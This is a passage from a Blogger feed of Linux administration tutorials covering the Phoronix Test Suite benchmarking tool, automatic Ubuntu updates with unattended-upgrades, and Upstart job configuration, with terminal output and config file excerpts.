iozone-1.7.0&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;So as to get information about the saved test results and the installed tests and their usage, we have the next options.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~/phoronix-test-suite# ./phoronix-test-suite list-saved-results&lt;br /&gt;                                                                                                                                                                                                                                                             &lt;br /&gt;Phoronix Test Suite v3.0.1                                                                                                                                                                                                                                            &lt;br /&gt;1 Saved Results                                                                                                                                                                                                                                                       &lt;br /&gt;                                                                                                                                                                                                                                                             &lt;br /&gt;Saved Name: ubuntu-server      Title: ubuntu-server                                                                                                                                                                                                                   &lt;br /&gt;- apache                                                                                                                                                                                                                                                      &lt;br /&gt;- iozone&lt;br /&gt;&lt;br /&gt;root@ubuntu-server:~/phoronix-test-suite# ./phoronix-test-suite list-test-usage&lt;br /&gt;&lt;br /&gt;Phoronix Test Suite v3.0.1&lt;br /&gt;2 Tests Installed&lt;br /&gt;&lt;br /&gt;TEST                 VERSION  INSTALL DATE  LAST RUN    AVG RUN-TIME  TIMES RUN&lt;br /&gt;pts/apache-1.3.0   - 1.3.0    2011-04-01    2011-04-01  5m15s         1&lt;br /&gt;pts/iozone-1.7.0   - 1.7.0    2011-04-02    2011-04-02  2m10s         2&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;And further, if we want to acquire more details about an executed result, the &lt;i&gt;info&lt;/i&gt; parameter will be our choice.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~/phoronix-test-suite# ./phoronix-test-suite info ubuntu-server&lt;br /&gt;&lt;br /&gt;Title: ubuntu-server&lt;br /&gt;Identifier: ubuntu-server&lt;br /&gt;&lt;br /&gt;Test Result Identifiers:&lt;br /&gt;- apache&lt;br /&gt;- iozone&lt;br /&gt;&lt;br /&gt;Contained Tests:&lt;br /&gt;- Apache Benchmark&lt;br /&gt;- IOzone&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Finally, we also have the option to export the results in other formats (csv, text and pdf).&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~/phoronix-test-suite# ./phoronix-test-suite result-file-to-text ubuntu-server &amp;gt; ubuntu-server.txt&lt;br /&gt;&lt;br /&gt;root@ubuntu-server:~/phoronix-test-suite# ./phoronix-test-suite result-file-to-csv ubuntu-server &amp;gt; ubuntu-server.csv&lt;br /&gt;&lt;br /&gt;root@ubuntu-server:~/phoronix-test-suite# ./phoronix-test-suite result-file-to-pdf ubuntu-server&lt;br /&gt;&lt;br /&gt;Saved To: /root/ubuntu-server.pdf&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;As well, we will always have the possibility to treat directly the results by means of the html structure.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# ls -l .phoronix-test-suite/test-results/ubuntu-server/&lt;br /&gt;total 32&lt;br /&gt;-rw-r--r-- 1 root root 3291 2011-04-02 18:00 composite.xml&lt;br /&gt;&lt;b&gt;-rw-r--r-- 1 root root  192 2011-04-02 18:00 index.html&lt;/b&gt;&lt;br /&gt;-rw-r--r-- 1 root root 5163 2011-04-02 21:32 pts-results-viewer.xsl&lt;br /&gt;drwxr-xr-x 2 root root 4096 2011-04-02 21:32 result-graphs&lt;br /&gt;drwxr-xr-x 4 root root 4096 2011-04-02 18:00 system-logs&lt;br /&gt;-rw-r--r-- 1 root root 1491 2011-04-02 17:51 test-1.xml&lt;br /&gt;-rw-r--r-- 1 root root 2210 2011-04-02 18:00 test-2.xml&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;With html or pdf formats, apart from the numeric data, we will be able to appreciate that Phoronix generates several graphics through the results.&lt;br /&gt;&lt;br /&gt;Also point out another useful utility: we can merge several results and obtain a new combination from all of them. For this purpose, we first have to copy the other outcomes into the &lt;span style="font-style: italic;"&gt;test-results&lt;/span&gt; directory.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~/phoronix-test-suite# ./phoronix-test-suite merge-results ubuntu-server centos&lt;br /&gt;Merged Results Saved To: /root/.phoronix-test-suite/test-results/merge-8136/composite.xml&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;The key of this benchmarking application is to apply correctly in each moment the suitable tests. Due to the large variety of available tests, we can get much information. On the contrary, the main problem under my personal opinion is that the options which you can choose to run a test are very limited. If you wanted to gather more information from a specific tool (for instance iozone), you should execute it manually.&lt;br /&gt;&lt;br /&gt;But in short, I think that Phoronix Test Suite is a great tool for measuring the perfomance of a system.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-5329413964449354355?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/5329413964449354355/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/04/benchmarking-with-phoronix-test-suite.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/5329413964449354355'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/5329413964449354355'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/04/benchmarking-with-phoronix-test-suite.html' title='Benchmarking with Phoronix Test Suite (II)'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-3276343136547029787</id><published>2011-04-11T13:27:00.019+02:00</published><updated>2011-11-01T21:49:51.073+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><title type='text'>Automatic updates on Ubuntu with unattended-upgrades</title><content type='html'>Some time ago I talked about the importance of having correctly our Linux systems up to date (at least automatically), specifically those issues related to security, focusing on CentOS/RHEL distributions. For this purpose I wrote an article named &lt;a href="http://redes-privadas-virtuales.blogspot.com/2009/11/plugin-yum-security-gestion-de-las.html"&gt;yum-security plugin&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;For systems based on Debian/Ubuntu, you have got a package denominated &lt;span style="font-style: italic;"&gt;unattended-upgrades&lt;/span&gt;, which allows to apply automatic updates (&lt;span style="font-style: italic;"&gt;stable&lt;/span&gt;, &lt;span style="font-style: italic;"&gt;security&lt;/span&gt;, &lt;span style="font-style: italic;"&gt;updates&lt;/span&gt; and &lt;span style="font-style: italic;"&gt;proposed-updates&lt;/span&gt;).&lt;br /&gt;&lt;br /&gt;When we install an Ubuntu release, on the one hand we can mark the option for the system to automatically install the security updates. In this case, Ubuntu will install the unattended-upgrades package on the server and manage this subject.&lt;br /&gt;&lt;br /&gt;And on the other, we can directly install it later and fit it based on our needs.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# aptitude install unattended-upgrades&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Through its configuration file (&lt;span style="font-style: italic;"&gt;50unattended-upgrades&lt;/span&gt;), we can fit the types of updates (&lt;span style="font-style: italic;"&gt;stable&lt;/span&gt; and &lt;span style="font-style: italic;"&gt;security&lt;/span&gt;), the list of packages which must not be updated (&lt;span style="font-style: italic;"&gt;mysql-server&lt;/span&gt; and &lt;span style="font-style: italic;"&gt;apache2&lt;/span&gt;), an optional email address for warning about any problem, band with and so on.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# cat /etc/apt/apt.conf.d/50unattended-upgrades&lt;br /&gt;// Automatically upgrade packages from these (origin, archive) pairs&lt;br /&gt;Unattended-Upgrade::Allowed-Origins {&lt;br /&gt;  "${distro_id} stable";&lt;br /&gt;  "${distro_id} ${distro_codename}-security";&lt;br /&gt;//      "${distro_id} ${distro_codename}-updates";&lt;br /&gt;//      "${distro_id} ${distro_codename}-proposed-updates";&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;// List of packages to not update&lt;br /&gt;Unattended-Upgrade::Package-Blacklist {&lt;br /&gt;  "mysql-server";&lt;br /&gt;  "apache2";&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;// Send email to this address for problems or packages upgrades&lt;br /&gt;Unattended-Upgrade::Mail "admin@ubuntu-server.local";&lt;br /&gt;&lt;br /&gt;// Do automatic removal of new unused dependencies after the upgrade&lt;br /&gt;//Unattended-Upgrade::Remove-Unused-Dependencies "false";&lt;br /&gt;&lt;br /&gt;// Automatically reboot *WITHOUT CONFIRMATION* if a&lt;br /&gt;// the file /var/run/reboot-required is found after the upgrade&lt;br /&gt;Unattended-Upgrade::Automatic-Reboot "false";&lt;br /&gt;&lt;br /&gt;// Use apt bandwidth limit feature, this example limits the download&lt;br /&gt;// speed to 70kb/sec&lt;br /&gt;//Acquire::http::Dl-Limit "70";&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;In order to set the update period (in days), we have to edit the &lt;span style="font-style: italic;"&gt;20auto-upgrades&lt;/span&gt; file. In the following example, the packages which can be updated will be downloaded everyday, but the automatic updates will just be applied once a week. The downloaded packages will be removed every 15 days.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# cp -a /usr/share/unattended-upgrades/20auto-upgrades /etc/apt/apt.conf.d/&lt;br /&gt;&lt;br /&gt;root@ubuntu-server:~# cat /etc/apt/apt.conf.d/20auto-upgrades&lt;br /&gt;APT::Periodic::Update-Package-Lists "1";&lt;br /&gt;APT::Periodic::Download-Upgradeable-Packages "1";&lt;br /&gt;APT::Periodic::Unattended-Upgrade "7";&lt;br /&gt;APT::Periodic::AutocleanInterval "15";&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;We can manually execute the unattended-upgrade daemon as well, by means of the next order.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# unattended-upgrade -d&lt;br /&gt;Initial blacklisted packages: mysql-server apache2&lt;br /&gt;Starting unattended upgrades script&lt;br /&gt;Allowed origins are: ["('Ubuntu', 'stable')", "('Ubuntu', 'maverick-security')"]&lt;br /&gt;pkgs that look like they should be upgraded:&lt;br /&gt;Fetched 0B in 0s (0B/s)                                                                                                                                                           &lt;br /&gt;blacklist: ['mysql-server', 'apache2']&lt;br /&gt;InstCount=0 DelCount=0 BrokenCout=0&lt;br /&gt;No packages found that can be upgraded unattended&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;And finally, also say this application will be run via cron (&lt;span style="font-style: italic;"&gt;/etc/cron.daily/apt&lt;/span&gt;). All output will be logged into the &lt;span style="font-style: italic;"&gt;/var/log/unattended-ugprades.log&lt;/span&gt; file.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-3276343136547029787?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/3276343136547029787/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/04/automatic-updates-on-ubuntu-with.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/3276343136547029787'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/3276343136547029787'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/04/automatic-updates-on-ubuntu-with.html' title='Automatic updates on Ubuntu with unattended-upgrades'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-8229985045535959748</id><published>2011-04-05T11:04:00.012+02:00</published><updated>2011-11-01T21:50:19.391+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux tools'/><category scheme='http://www.blogger.com/atom/ns#' term='Performance'/><title type='text'>Benchmarking with Phoronix Test Suite (I)</title><content type='html'>The &lt;a href="http://www.phoronix-test-suite.com/"&gt;Phoronix Test Suite&lt;/a&gt; is an interesting benchmarking platform aimed at testing and measuring the performance of multiple stuff, such as computers, graphics cards, processors, operating systems and so on.&lt;br /&gt;&lt;br /&gt;I have used (in my professional work) and talked about this tool several times, but I had never dedicated any article to evaluate it. Let's get going!&lt;br /&gt;&lt;br /&gt;For my tests, I am going to utilize an Ubuntu Server 10.10 (64 bits) and Phoronix Test Suite 3.0.1. When you download the application and descompress it, you have two options: on the one hand you can install it over the operating system (&lt;i&gt;install.sh&lt;/i&gt;), and on the other, you may directly run the appropiate script (&lt;i&gt;phoronix-test-suite&lt;/i&gt;) and carry out all the options that Phoronix provides. Regardless the choice, first of all you must install a serie of necessary dependences.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# aptitude install php5-cli php5-gd php5-curl php-fpdf&lt;br /&gt;&lt;br /&gt;root@ubuntu-server:~# tar xvzf phoronix-test-suite-3.0.1.tar.gz&lt;br /&gt;&lt;br /&gt;root@ubuntu-server:~/phoronix-test-suite# ./install-sh&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;In my case, I will choose the second. Also say that if we are behind a proxy, we have to execute the script with the &lt;i&gt;network-setup&lt;/i&gt; option, in order to set the proxy configuration up. In addition, we can check out the information about our system hardware and software.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~/phoronix-test-suite# ./phoronix-test-suite network-setup&lt;br /&gt;&lt;br /&gt;root@ubuntu-server:~/phoronix-test-suite# ./phoronix-test-suite system-info&lt;br /&gt;&lt;br /&gt;Phoronix Test Suite v3.0.1&lt;br /&gt;System Information&lt;br /&gt;&lt;br /&gt;Hardware:&lt;br /&gt;Processor: QEMU Virtual 0.12.5 @ 3.00GHz (1 Core), Motherboard: Bochs, Chipset: Red Hat Virtio, Memory: 1 x 2048 MB RAM, Disk: 15GB, Graphics: Cirrus Logic GD 5446&lt;br /&gt;&lt;br /&gt;Software:&lt;br /&gt;OS: Ubuntu 10.10, Kernel: 2.6.35-28-server (x86_64), Display Driver: cirrus, File-System: ext4&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Phoronix supplies a set of suites (&lt;i&gt;cpu&lt;/i&gt;, &lt;i&gt;database&lt;/i&gt;, &lt;i&gt;kernel&lt;/i&gt;, &lt;i&gt;memory&lt;/i&gt;, etc.) that in turn, make up a group of tests (&lt;i&gt;compress-gzip&lt;/i&gt;, &lt;i&gt;dbench&lt;/i&gt;, &lt;i&gt;sqlite&lt;/i&gt;, etc.), also known as profiles. In total, we have around more than 60 suites and 130 tests.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~/phoronix-test-suite# ./phoronix-test-suite list-available-suites&lt;br /&gt;&lt;br /&gt;Phoronix Test Suite v3.0.1&lt;br /&gt;Available Suites&lt;br /&gt;&lt;br /&gt;pts/audio-encoding               - Audio Encoding                   System&lt;br /&gt;pts/chess                        - Chess Test Suite                 Processor&lt;br /&gt;pts/compilation                  - Timed Code Compilation           Processor&lt;br /&gt;...&lt;br /&gt;&lt;br /&gt;root@ubuntu-server:~/phoronix-test-suite# ./phoronix-test-suite list-available-tests&lt;br /&gt;&lt;br /&gt;Phoronix Test Suite v3.0.1&lt;br /&gt;Available Tests&lt;br /&gt;&lt;br /&gt;pts/aio-stress               - AIO-Stress                          Disk&lt;br /&gt;pts/apache                   - Apache Benchmark                    System&lt;br /&gt;pts/battery-power-usage      - Battery Power Usage                 System&lt;br /&gt;...&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;If we want to know more details about a concrete suite or test, we can run the following order (in this example, the memory suite consists of three tests).&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~/phoronix-test-suite# ./phoronix-test-suite info memory&lt;br /&gt;&lt;br /&gt;Phoronix Test Suite v3.0.1&lt;br /&gt;Memory Test Suite&lt;br /&gt;&lt;br /&gt;Run Identifier: pts/memory-1.0.2&lt;br /&gt;Suite Version: 1.0.2&lt;br /&gt;Maintainer: Michael Larabel&lt;br /&gt;Suite Type: Memory&lt;br /&gt;Unique Tests: 3&lt;br /&gt;Suite Description: The system memory test suite consists of tests designed to test the computer's system memory (RAM) performance. Among these tests are RAMspeed and Bandwidth.&lt;br /&gt;&lt;br /&gt;pts/memory-1.0.2&lt;br /&gt;* pts/ramspeed&lt;br /&gt;* pts/stream&lt;br /&gt;* pts/cachebench&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;And if we want to install a suite or test, we must add the &lt;i&gt;install&lt;/i&gt; parameter to the script. This sentence will firstly resolve and install the necessary dependences and afterwards, download, compile and install the test. If you select a suite, this order will install all tests belonging to the suite.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~/phoronix-test-suite# ./phoronix-test-suite install apache&lt;br /&gt;&lt;br /&gt;The following dependencies are needed and will be installed:&lt;br /&gt;&lt;br /&gt;- build-essential&lt;br /&gt;...&lt;br /&gt;Phoronix Test Suite v3.0.1&lt;br /&gt;&lt;br /&gt;To Install: pts/apache-1.3.0&lt;br /&gt;...&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Then we are going to see the execution of the &lt;i&gt;apache&lt;/i&gt; test (we can also use this command to launch a suite).&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~/phoronix-test-suite# ./phoronix-test-suite run apache&lt;br /&gt;Would you like to save these test results (Y/n): Y&lt;br /&gt;&lt;b&gt;Enter a name to save these results: ubuntu-server&lt;/b&gt;&lt;br /&gt;&lt;b&gt;Enter a unique name for this test run: apache&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Phoronix Test Suite v3.0.1&lt;br /&gt;If you wish, enter a new description below.&lt;br /&gt;Press ENTER to proceed without changes.&lt;br /&gt;&lt;br /&gt;Current Description: Running pts/apache-1.3.0.&lt;br /&gt;&lt;br /&gt;New Description:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Apache Benchmark:&lt;br /&gt;pts/apache-1.3.0&lt;br /&gt;Test 1 of 1&lt;br /&gt;Expected Trial Run Count: 3&lt;br /&gt;Running Pre-Test Script @ 15:45:48&lt;br /&gt;Started Run 1 @ 15:45:53&lt;br /&gt;Started Run 2 @ 15:47:34&lt;br /&gt;Started Run 3 @ 15:49:17  [Std. Dev: 2.00%]&lt;br /&gt;Running Post-Test Script @ 15:51:00&lt;br /&gt;&lt;br /&gt;Test Results:&lt;br /&gt;7156.08&lt;br /&gt;7026.62&lt;br /&gt;6876.06&lt;br /&gt;&lt;br /&gt;Average: 7019.59 Requests Per Second&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;In the previous output, we can make out that the script has asked for a name to save the results (under this name, we will be able to save other tests) and a specific name for the test. In other tests as follows, we can see that the script requests other types of data, such as the record size, file size and disk test.&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-8229985045535959748?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/8229985045535959748/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/04/benchmarking-with-phoronix-test-suite-i.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/8229985045535959748'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/8229985045535959748'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/04/benchmarking-with-phoronix-test-suite-i.html' title='Benchmarking with Phoronix Test Suite (I)'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-8893926415936713467</id><published>2011-03-27T19:08:00.007+02:00</published><updated>2011-11-01T21:50:58.843+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux tools'/><title type='text'>Booting the system with Upstart (II)</title><content type='html'>Continuing with the article &lt;a href="http://redes-privadas-virtuales.blogspot.com/2011/03/booting-system-with-upstart-i.html"&gt;Booting the system with Upstart (I)&lt;/a&gt; and in particular, the part of the events, we can also set many other types of triggers.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# cat /etc/init/job1.conf&lt;br /&gt;# Start when the loading modules have concluded&lt;br /&gt;start on stopped load-modules&lt;br /&gt;&lt;br /&gt;# Start when the filesystem is mounted&lt;br /&gt;start on filesystem&lt;br /&gt;&lt;br /&gt;# Start when the filesystem is mounted and the network is started&lt;br /&gt;start on filesystem and started network&lt;br /&gt;&lt;br /&gt;# Start under the runlevels 2, 3 and 5&lt;br /&gt;start on runlevel [235]&lt;br /&gt;...&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;The initctl utility allows to pass down a concrete event.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# initctl emit myevent&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;If we take a look at the files dropped off within the &lt;i&gt;/etc/init&lt;/i&gt; directory, we will be able to find out many other events. For instance, if we open the &lt;i&gt;mountall.conf&lt;/i&gt; file, we can see that this job mounts the filesystems during the boot and emits events as &lt;i&gt;local-filesystems&lt;/i&gt;, &lt;i&gt;all-swaps&lt;/i&gt;, etc.&lt;br /&gt;&lt;br /&gt;All the theory described for "start on", also can be applied when we want to stop a job.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# cat /etc/init/job1.conf&lt;br /&gt;stop on starting shutdown&lt;br /&gt;...&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;This command as well can be used to list the status of all jobs handled by Upstart.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# initctl list&lt;br /&gt;mountall-net stop/waiting&lt;br /&gt;rc stop/waiting&lt;br /&gt;rsyslog start/running, process 687&lt;br /&gt;...&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Another interesting configuration option is the &lt;i&gt;respawn&lt;/i&gt; tag, which is utilized to start automatically a job if it stops abnormally. We can also set that if a job is respawned more that X times in Y seconds, it will be stopped definitely.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# cat /etc/init/job1.conf&lt;br /&gt;respawn&lt;br /&gt;&lt;br /&gt;respawn limit 10 120&lt;br /&gt;...&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;What happens if we want to perform some previous task to start a job? For this case, Upstart provides the &lt;i&gt;pre-start&lt;/i&gt; directive, which is run before the job reaches the starting state.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# cat /etc/init/job1.conf&lt;br /&gt;pre-start script&lt;br /&gt;   rm /tmp/job*&lt;br /&gt;end script&lt;br /&gt;...&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Instead of a script, we can also execute a binary.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# cat /etc/init/job1.conf&lt;br /&gt;pre-start exec /usr/local/sbin/nessusd&lt;br /&gt;...&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;In addition, we can specify other kinds of pre/post actions.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# cat /etc/init/job1.conf&lt;br /&gt;# Before the job is started&lt;br /&gt;post-start exec|script&lt;br /&gt;&lt;br /&gt;# Before the job is stopping&lt;br /&gt;pre-stop exec|script&lt;br /&gt;&lt;br /&gt;# Before the job is stopped&lt;br /&gt;post-stop exec|script&lt;br /&gt;...&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;You can get more information as always... by accessing the man.&lt;br 